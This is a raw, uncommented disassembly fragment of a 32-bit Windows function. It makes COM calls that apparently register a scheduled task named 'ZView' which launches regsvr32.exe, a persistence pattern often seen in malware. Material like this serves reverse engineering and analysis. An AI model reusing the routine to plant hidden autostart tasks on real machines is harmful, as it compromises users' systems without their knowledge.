mov dword [eax], ecx
call fcn.00411e0c
mov eax, dword [ebp - 0x238]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x2c]
mov edx, dword [ebp - 0x234]
mov dword [ebp - 0x3c], 0x32
mov esi, esp
mov dword [esi + 4], edx
mov dword [esi], eax
call ecx
sub esp, 8
mov dword [ebp - 0x5a0], eax
jmp 0x41320f
mov eax, dword [ebp - 0x238]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x4c]
mov dword [ebp - 0x3c], 0x33
mov edx, esp
mov dword [edx], eax
mov dword [edx + 4], 0xffffffff
call ecx
sub esp, 8
mov dword [ebp - 0x5a4], eax
jmp 0x413239
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x44]
mov dword [ebp - 0x3c], 0x34
mov edx, esp
lea esi, [ebp - 0x28c]
mov dword [edx + 4], esi
mov dword [edx], eax
call ecx
sub esp, 8
mov dword [ebp - 0x5a8], eax
jmp 0x413265
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x413440
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x2a9], 1
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x35
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x2a8]
mov dword [edx], ecx
mov dword [ebp - 0x5ac], eax
call fcn.00411cc8
jmp 0x4132bf
mov dword [ebp - 0x3c], 0x36
mov eax, esp
lea ecx, [ebp - 0x2a8]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x5ac]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x4132e0
mov byte [ebp - 0x2a9], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x3c], 0x37
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
lea ecx, [ebp - 0x27c]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x5b0], edx
mov dword [ebp - 0x5b4], eax
call fcn.00411e0c
jmp 0x4141eb
lea ecx, [ebp - 0x280]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x5b8], edx
mov dword [ebp - 0x5bc], eax
call fcn.00411e0c
jmp 0x4141eb
lea ecx, [ebp - 0x284]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x5c0], edx
mov dword [ebp - 0x5c4], eax
call fcn.00411e0c
jmp 0x4141eb
lea ecx, [ebp - 0x288]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x5c8], edx
mov dword [ebp - 0x5cc], eax
call fcn.00411e0c
jmp 0x4141eb
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x5d0], edx
mov dword [ebp - 0x5d4], eax
jmp 0x413424
lea ecx, [ebp - 0x2a8]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x5d8], edx
mov dword [ebp - 0x5dc], eax
call fcn.00411d4c
test byte [ebp - 0x2a9], 1
jne 0x41342f
jmp 0x41343b
mov eax, dword [ebp - 0x58]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0x28c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x30]
mov dword [ebp - 0x3c], 0x38
mov edx, esp
lea esi, [ebp - 0x2b0]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], 0
call ecx
sub esp, 0xc
mov dword [ebp - 0x5e0], eax
jmp 0x413473
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x41358a
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x2cd], 1
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x39
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x2cc]
mov dword [edx], ecx
mov dword [ebp - 0x5e4], eax
call fcn.00411cc8
jmp 0x4134cd
mov dword [ebp - 0x3c], 0x3a
mov eax, esp
lea ecx, [ebp - 0x2cc]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x5e4]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x4134ee
mov byte [ebp - 0x2cd], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x3b
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x5e8], edx
mov dword [ebp - 0x5ec], eax
jmp 0x41356e
lea ecx, [ebp - 0x2cc]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x5f0], edx
mov dword [ebp - 0x5f4], eax
call fcn.00411d4c
test byte [ebp - 0x2cd], 1
jne 0x413579
jmp 0x413585
mov eax, dword [ebp - 0x54]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x3c], 0x3c
mov edx, esp
lea esi, [ebp - 0x2d4]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], str.MbLk
call ecx
sub esp, 0xc
mov dword [ebp - 0x5f8], eax
jmp 0x4135bc
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jge 0x4136d3
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x2f1], 1
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x3d
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x2f0]
mov dword [edx], ecx
mov dword [ebp - 0x5fc], eax
call fcn.00411cc8
jmp 0x413616
mov dword [ebp - 0x3c], 0x3e
mov eax, esp
lea ecx, [ebp - 0x2f0]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x5fc]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x413637
mov byte [ebp - 0x2f1], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0x3f
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x600], edx
mov dword [ebp - 0x604], eax
jmp 0x4136b7
lea ecx, [ebp - 0x2f0]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x608], edx
mov dword [ebp - 0x60c], eax
call fcn.00411d4c
test byte [ebp - 0x2f1], 1
jne 0x4136c2
jmp 0x4136ce
mov eax, dword [ebp - 0x50]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141eb
mov dword [ebp - 0x30c], str.regsvr32.exe
mov dword [ebp - 0x308], 0xc
mov eax, esp
lea ecx, [ebp - 0x310]
mov dword [eax], ecx
mov dword [ebp - 0x610], ecx
call fcn.00401c24
mov dword [ebp - 0x3c], 0x40
mov eax, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x308]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x610]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x304]
mov dword [edx], ecx
call fcn.00401c40
jmp 0x41372f
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x2c]
mov edx, esp
lea esi, [ebp - 0x304]
mov dword [edx + 4], esi
lea edi, [ebp - 0x33c]
mov dword [edx], edi
mov dword [ebp - 0x614], eax
mov dword [ebp - 0x618], ecx
mov dword [ebp - 0x61c], esi
call fcn.00402114
mov eax, esp
mov ecx, dword [ebp - 0x61c]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x348]
mov dword [eax], edx
call fcn.004021f0
mov eax, esp
lea ecx, [ebp - 0x34c]
mov dword [eax], ecx
mov dword [ebp - 0x620], ecx
call fcn.004022cc
mov dword [ebp - 0x3c], 0x41
mov eax, dword [ebp - 0x340]
mov ecx, esp
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x348]
mov edx, dword [ebp - 0x344]
mov dword [ecx + 0x14], edx
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x334]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x338]
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x620]
mov dword [ecx + 0x1c], eax
lea edx, [ebp - 0x330]
mov dword [ecx], edx
call fcn.004022e8
jmp 0x4137e8
mov eax, esp
lea ecx, [ebp - 0x330]
mov dword [eax], ecx
call fcn.00408aa0
mov dword [ebp - 0x3c], 0x42
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x314]
mov dword [ecx], eax
call fcn.00411da0
jmp 0x413812
mov eax, esp
lea ecx, [ebp - 0x314]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x43
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x614]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x618]
call ecx
sub esp, 8
mov dword [ebp - 0x624], eax
jmp 0x413848
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x8c], eax
mov ecx, esp
lea edx, [ebp - 0x314]
mov dword [ecx], edx
call fcn.00411e0c
mov eax, esp
lea ecx, [ebp - 0x330]
mov dword [eax], ecx
call fcn.00402348
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x3c]
mov edx, dword [ebp - 0x88]
mov dword [ebp - 0x3c], 0x44
mov esi, esp
mov dword [esi + 4], edx
lea edx, [ebp - 0x36c]
mov dword [esi], edx
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x62c], ecx
call fcn.004143fc
jmp 0x4138aa
mov eax, esp
lea ecx, [ebp - 0x36c]
mov dword [eax], ecx
call fcn.00408aa0
mov dword [ebp - 0x3c], 0x45
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x350]
mov dword [ecx], eax
call fcn.00411da0
jmp 0x4138d4
mov eax, esp
lea ecx, [ebp - 0x350]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x46
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x628]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x62c]
call ecx
sub esp, 8
mov dword [ebp - 0x630], eax
jmp 0x41390a
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x8c], eax
mov ecx, esp
lea edx, [ebp - 0x350]
mov dword [ecx], edx
call fcn.00411e0c
mov eax, esp
lea ecx, [ebp - 0x36c]
mov dword [eax], ecx
call fcn.00402348
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x88]
mov dword [ebp - 0x3c], 0x47
mov esi, esp
mov dword [esi + 4], edx
lea edx, [ebp - 0x3a8]
mov dword [esi], edx
mov dword [ebp - 0x634], eax
mov dword [ebp - 0x638], ecx
call fcn.0040f088
jmp 0x41396c
mov dword [ebp - 0x3c], 0x48
mov eax, esp
lea ecx, [ebp - 0x3a8]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x38c]
mov dword [eax], ecx
mov dword [eax + 4], 0x444a1a
call fcn.0041448c
jmp 0x413994
mov eax, esp
lea ecx, [ebp - 0x38c]
mov dword [eax], ecx
call fcn.00408aa0
mov dword [ebp - 0x3c], 0x49
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x370]
mov dword [ecx], eax
call fcn.00411da0
jmp 0x4139be
mov eax, esp
lea ecx, [ebp - 0x370]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x4a
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x634]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x638]
call ecx
sub esp, 8
mov dword [ebp - 0x63c], eax
jmp 0x4139f4
lea eax, [ebp - 0x370]
mov ecx, dword [ebp - 0x63c]
mov dword [ebp - 0x8c], ecx
mov dword [esp], eax
call fcn.00411e0c
lea eax, [ebp - 0x38c]
mov dword [esp], eax
call fcn.00402348
lea eax, [ebp - 0x3a8]
mov dword [esp], eax
call fcn.00402348
cmp dword [ebp - 0x8c], 0
jge 0x413ca3
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x3c5], 1
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x4b
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x3c4]
mov dword [edx], ecx
mov dword [ebp - 0x640], eax
call fcn.00411cc8
jmp 0x413a78
mov dword [ebp - 0x3c], 0x4c
mov eax, esp
lea ecx, [ebp - 0x3c4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x640]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x413a99
mov byte [ebp - 0x3c5], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], 0x4d
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x644], edx
mov dword [ebp - 0x648], eax
jmp 0x4141dd
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x64c], edx
mov dword [ebp - 0x650], eax
jmp 0x413b3c
lea ecx, [ebp - 0x314]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x654], edx
mov dword [ebp - 0x658], eax
call fcn.00411e0c
lea eax, [ebp - 0x330]
mov dword [esp], eax
call fcn.00402348
jmp 0x4141dd
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x65c], edx
mov dword [ebp - 0x660], eax
jmp 0x413b9b
lea ecx, [ebp - 0x350]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x664], edx
mov dword [ebp - 0x668], eax
call fcn.00411e0c
lea eax, [ebp - 0x36c]
mov dword [esp], eax
call fcn.00402348
jmp 0x4141dd
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x66c], edx
mov dword [ebp - 0x670], eax
jmp 0x413c28
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x674], edx
mov dword [ebp - 0x678], eax
jmp 0x413c1a
lea ecx, [ebp - 0x370]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x67c], edx
mov dword [ebp - 0x680], eax
call fcn.00411e0c
lea eax, [ebp - 0x38c]
mov dword [esp], eax
call fcn.00402348
lea eax, [ebp - 0x3a8]
mov dword [esp], eax
call fcn.00402348
jmp 0x4141dd
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x684], edx
mov dword [ebp - 0x688], eax
jmp 0x413c87
lea ecx, [ebp - 0x3c4]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x68c], edx
mov dword [ebp - 0x690], eax
call fcn.00411d4c
test byte [ebp - 0x3c5], 1
jne 0x413c92
jmp 0x413c9e
mov eax, dword [ebp - 0x4c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141dd
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x44]
mov dword [ebp - 0x3c], 0x4e
mov edx, esp
lea esi, [ebp - 0x3d0]
mov dword [edx], esi
mov dword [edx + 4], str.ZView
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x698], ecx
call fcn.00411da0
jmp 0x413cd9
mov eax, esp
lea ecx, [ebp - 0x3d0]
mov dword [eax], ecx
call fcn.00411dcc
mov ecx, dword [ebp - 0x1a4]
mov edx, esp
lea esi, [ebp - 0x3f0]
mov dword [edx], esi
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x6a0], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x3ec]
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3e0], eax
mov eax, esp
lea ecx, [ebp - 0x410]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp - 0x40c]
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x400], eax
mov eax, esp
lea ecx, [ebp - 0x430]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 0x42c]
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x3c], 0x4f
mov eax, dword [ebp - 0x414]
mov ecx, esp
mov dword [ecx + 0x40], eax
mov eax, dword [ebp - 0x418]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x420]
mov edx, dword [ebp - 0x41c]
mov dword [ecx + 0x38], edx
mov dword [ecx + 0x34], eax
mov eax, dword [ebp - 0x3f4]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x3f8]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x400]
mov edx, dword [ebp - 0x3fc]
mov dword [ecx + 0x24], edx
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x3d4]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x3e0]
mov edx, dword [ebp - 0x3dc]
mov dword [ecx + 0x14], edx
mov dword [ecx + 0x10], eax
lea eax, [ebp - 0x3cc]
mov dword [ecx + 0x44], eax
mov eax, dword [ebp - 0x6a0]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x69c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x694]
mov dword [ecx], edx
mov dword [ecx + 0x30], 3
mov dword [ecx + 0xc], 6
mov ecx, dword [ebp - 0x698]
call ecx
sub esp, 0x48
mov dword [ebp - 0x6a4], eax
jmp 0x413e70
lea eax, [ebp - 0x430]
mov ecx, dword [ebp - 0x6a4]
mov dword [ebp - 0x8c], ecx
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x410]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x3f0]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x3d0]
mov dword [esp], eax
call fcn.00411e0c
cmp dword [ebp - 0x8c], 0
jge 0x41401a
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x44d], 1
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], 0x50
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x44c]
mov dword [edx], ecx
mov dword [ebp - 0x6a8], eax
call fcn.00411cc8
jmp 0x413f02
mov dword [ebp - 0x3c], 0x51
mov eax, esp
lea ecx, [ebp - 0x44c]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x6a8]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x413f23
mov byte [ebp - 0x44d], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], 0x52
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x414265
lea ecx, [ebp - 0x430]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x6ac], edx
mov dword [ebp - 0x6b0], eax
call fcn.00411d84
lea eax, [ebp - 0x410]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x3f0]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x3d0]
mov dword [esp], eax
call fcn.00411e0c
jmp 0x4141dd
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x6b4], edx
mov dword [ebp - 0x6b8], eax
jmp 0x413ffe
lea ecx, [ebp - 0x44c]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], edi
mov dword [esp], ecx
mov dword [ebp - 0x6bc], edx
mov dword [ebp - 0x6c0], eax
call fcn.00411d4c
test byte [ebp - 0x44d], 1
jne 0x414009
jmp 0x414015
mov eax, dword [ebp - 0x48]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x4141dd
cmp dword [ebp - 0x3cc], 0
je 0x414048
mov eax, dword [ebp - 0x3cc]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x53
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6c4], eax
jmp 0x414046
jmp 0x414048
cmp dword [ebp - 0x2d4], 0
je 0x414076
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x54
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6c8], eax
jmp 0x414074
jmp 0x414076
cmp dword [ebp - 0x28c], 0
je 0x4140a4
mov eax, dword [ebp - 0x28c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x55
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6cc], eax
jmp 0x4140a2
jmp 0x4140a4
cmp dword [ebp - 0x238], 0
je 0x4140d2
mov eax, dword [ebp - 0x238]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x56
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6d0], eax
jmp 0x4140d0
jmp 0x4140d2
cmp dword [ebp - 0x1ec], 0
je 0x414100
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x57
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6d4], eax
jmp 0x4140fe
jmp 0x414100
cmp dword [ebp - 0x1a4], 0
je 0x41412e
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x58
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6d8], eax
jmp 0x41412c
jmp 0x41412e
cmp dword [ebp - 0x1c8], 0
je 0x41415c
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x59
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6dc], eax
jmp 0x41415a
jmp 0x41415c
cmp dword [ebp - 0x17c], 0
je 0x41418a
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x5a
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6e0], eax
jmp 0x414188
jmp 0x41418a
cmp dword [ebp - 0xb8], 0
je 0x4141b8
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x5b
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6e4], eax
jmp 0x4141b6
jmp 0x4141b8
mov dword [ebp - 0x3c], 0x5c
call sub.OLE32.DLL_CoUninitialize
jmp 0x4141c6
lea eax, [ebp - 0x304]
mov byte [ebp - 0x81], 1
mov dword [esp], eax
call fcn.00401c80
jmp 0x414222
lea eax, [ebp - 0x304]
mov dword [esp], eax
call fcn.00401c80
mov eax, dword [ebp - 0x94]
mov ecx, 1
cmp eax, ecx
jne 0x414250
mov eax, dword [ebp - 0x90]
mov ecx, esp
mov dword [ecx], eax
call fcn.0044159c
mov dword [ebp - 0x454], eax
mov byte [ebp - 0x81], 0
mov dword [ebp - 0x3c], 0xffffffff
call fcn.00441610
lea eax, [ebp - 0x44]
mov cl, byte [ebp - 0x81]
mov dword [esp], eax
mov byte [ebp - 0x6e5], cl
call fcn.004431f6
mov cl, byte [ebp - 0x6e5]
and cl, 1
movzx eax, cl
add esp, 0x72c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x3c], 0xffffffff
mov dword [esp], eax
call fcn.00443174
nop
mov eax, dword [ebp - 0x40]
cmp eax, 0x5c
mov dword [ebp - 0x6ec], eax
ja case.default.0x414281
mov eax, dword [ebp - 0x6ec]
sub eax, 1
jmp dword [eax*4 + 0x41428c]
ud2